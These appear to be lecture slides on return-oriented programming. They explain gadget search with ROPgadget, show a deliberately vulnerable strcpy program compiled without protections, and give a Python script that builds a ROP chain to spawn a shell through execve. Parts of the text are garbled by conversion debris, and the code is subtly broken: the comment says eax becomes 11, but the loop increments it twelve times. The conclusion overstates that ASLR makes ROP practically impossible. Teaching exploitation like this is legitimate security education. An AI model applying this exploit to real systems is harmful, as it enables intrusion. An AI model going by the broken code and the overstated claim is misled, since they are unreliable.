Return Oriented Programming

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 - ROP chain
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What is Return Oriented Programming?

- A type of attack that exploits buffer overruns in which we chain addresses of instructions right before returns.
- Arised as a technique to counter security mechanisms (NX)
- Research by Hovav Shacham et al in 2007, in 2008 the attack got demonstrated at Blackhat 2008 - "Return-oriented Programming: Exploitation without Code Injection" https://hovav.net/ucsd/talks/blackhat08.html
- Many authors refer to ret-to-libc/library as ROP, according to the founder of this technique it has to be differentiated and ROP describes chaining of small code segments





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Overview

- Search the binary for gadgets: return (0xC3) bytes that contain useful instructions before
- Generate a list of these gadgets, called ROP chain
- Generate a payload with the addresses of these gadgets
- Insert payload via buffer overrun





ROP gadgets

- Gadgets are machine instructions that end on a return
- Tools: ROPgadget (https://github.com/JonathanSalwan/ROPgadget), ropper (https://github.com/sashs/Ropper), Radare2, pwntools....

Listing 1: Output of ROPgadget

```
0x08059ee3 : mov word ptr [edx], ax ;
  mov eax, edx ; ret
0x08071e4e : mov esp, 0xc70cec83 ; ret
  0xffe0
0x0807faa3 : sti ; xor eax, eax ; ret
0x0808b285 : pop edx ; xor eax, eax ;
  pop edi ; ret
```





Useful gadgets: Write to register

Especially useful are pop instructions

```
POP eax; ret;
```

- These allow us to write arbitrary values into registers
- However, sometimes we do not find a pop into our desired register (e.g. r14), here we can improvise and use something like

```
XOR r14, r14; pop r12; XOR r14, r12;
ret;
```





Useful gadgets: Load/Read from memory

• Move instructions are also really useful

```
mov [eax], ecx; ret;
```

allows us to write into memory

```
mov eax, [ecx]; ret;
```

- allows us to read a value from memory into a register
- Combined with pop this is very powerful





Useful gadgets: Systemcalls, arithmetics

- add, sub, div, xor, mul, div...allow us to manipulate register contents
- Since programs run in userspace we have limited privileges, if we can find systemcalls we can, in combination with the arithmetic operations and pop instructions call arbitrary system calls

```
int 0x80; ret;
```





ROP chain with parameters

Figure: ROP Chain with parameter

Gadget 1
Parameter 1
Parameter 2
Gadget 2
Gadget 3
Parameter 1
Gadget 4
Gadget 5
Gadget 6
Parameter 1





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How to find suitable Gadgets?

 Multiple methods, using the tools directly you can search gadgets of your liking, but we can also dump them into a file and search using regular expressions.

Listing 2: Dumping Gadgets

ROPgadget --binary ./vuln --nojop > gadgets

- Most of them are not very useful because they are very specific, but the amount compensates for that. 716 kB binary \rightarrow 8236 Gadgets
- pop edx \rightarrow $^{\circ}.\{0,20\}$ pop edx. $\{0,20\}$ retn
- int $0x80 \rightarrow ^{\circ}.\{0,20\}$ int 0x80
- xor eax, eax \rightarrow $^{.}{0,20}$ xor eax, eax. ${0,20}$ retn





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Target Program and Compliation

Listing 3: Target Program (stack protectors must be off)

```
#include <stdio.h>
  #include <string.h>
3
  int main(int argc, char *argv[]) {
    char buffer [8] = \{0\};
5
    if (argc != 2) {
6
      printf("A single argument is required.\n");
      return 1;
8
    }
9
    strcpy(buffer, argv[1]);
    return 0:
12 }
```

Listing 4: Compilation command

```
gcc -o vuln -g -m32 -D_FORTIFY_SOURCE=0 -\
  fno-pie -fno-stack-protector -static vuln\
    .c
```





Spawning a shell: Approach

- Using ROPgadget we can find our desired gadgets
- Lets say we want to execute a shell using execve, for that we need to accomplish the following goals
 - write /bin/sh into memory (at the data segment)
 - 2 init systemcall number (11)
 - init systemcall argument (address of /bin//sh)
 - call systemcall
- All of this has to be done using Bytes that are not \\0x00
 because thats the character used for identifying the end of a
 string.





Generating the payload, defining all gadgets

```
1 from struct import pack
2 import os
3 data = 0x080e3020
4 \text{ xor}_{\text{eax}} = 0 \times 0804 = 234 \text{ # xor eax, eax ; ret}
5 pop_eax = 0x080ac96a # pop eax ; ret
6 \text{ pop\_ebx} = 0 \times 08049022 \# \text{pop ebx} ; \text{ret}
7 \text{ pop\_ecx} = 0 \times 0807 \text{ f9a3} + \text{pop ecx} ; \text{ ret}
8 \text{ pop\_edx} = 0 \times 0807 \text{f} 133 \text{ # pop edx}; and eax, 0 \times 850 \text{fffd};
       ret
9 \text{ inc_eax} = 0 \times 0809 \text{ fc6e} \# \text{ inc eax} ; \text{ ret}
int 80 = 0x080499c2 # int 0x80
nov_edx_eax = 0x0804eed2 # mov dword ptr [edx], eax ;
     ret
12 filler = 0x111111111
13 # Padding goes here
p = bytes('AAAAAAABBBB', 'ascii')
```



Generating the payload, writing /bin//sh

```
1 p += pack('<I', pop_edx) # write address of .data into</pre>
     edx
p += pack('<I', data)</pre>
g p += pack('<I', pop_eax) # write /bin into eax</pre>
4 p += bytes('/bin', 'ascii')
5 p += pack('<I', mov_edx_eax) # mov to .data</pre>
6 p += pack('<I', pop_edx) # address of .data + 4 into</pre>
    edx
7 p += pack('<I', data + 4)</pre>
8 p += pack('<I', pop_eax) # //sh into eax</pre>
9 p += bytes('//sh', 'ascii')
10 p += pack('<I', mov_edx_eax) # mov to .data</pre>
11
```



Generating the payload, init params

```
1 p += pack('<I', pop_edx) # address of .data + 8 into
    edx
_{2} p += pack('<I', data + 8)
3 p += pack('<I', xor_eax_eax) # clear eax</pre>
4 p += pack('<I', mov_edx_eax) # write null after /bin/</pre>
    sh
5 p += pack('<I', pop_ebx) # write address of program</pre>
    name to ebx
6 p += pack('<I', data)</pre>
7 p += pack('<I', pop_ecx) # write arguments into ecx</pre>
8 p += pack('<I', data + 8)</pre>
9 p += pack('<I', pop_edx) # write env into edx</pre>
10 p += pack('<I', data + 8)
```

Generating the payload: Init eax, call syscall

```
1 p += pack('<I', xor_eax_eax) # set eax to 11 (execve)
2 for i in range(12):
3    p += pack('<I', inc_eax)
4 p += pack('<I', int_80) # call interrupt
5 print(str(p)[2:-1])
6 with open('payload', 'wb') as file:
7    file.write(p)</pre>
```



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Conclusion

- Return Oriented Programming is a very powerful technique
- It is able to execute any system call if there are enough rop gadgets
- There are many tools to simplify the process of finding ROP gadgets and generatating ROP payloads
- ullet Modern desktops use aslr and other protection mechanisms o practically impossible to use ROP





Sources

```
https:
//trustfoundry.net/basic-rop-techniques-and-tricks/
http://gauss.ececs.uc.edu/Courses/c6056/pdf/rop.pdf
https://www.proggen.org/doku.php?id=security:
memory-corruption:exploitation:rop
https://shell-storm.org/talks/ROP_course_lecture_
jonathan_salwan_2014.pdf
```



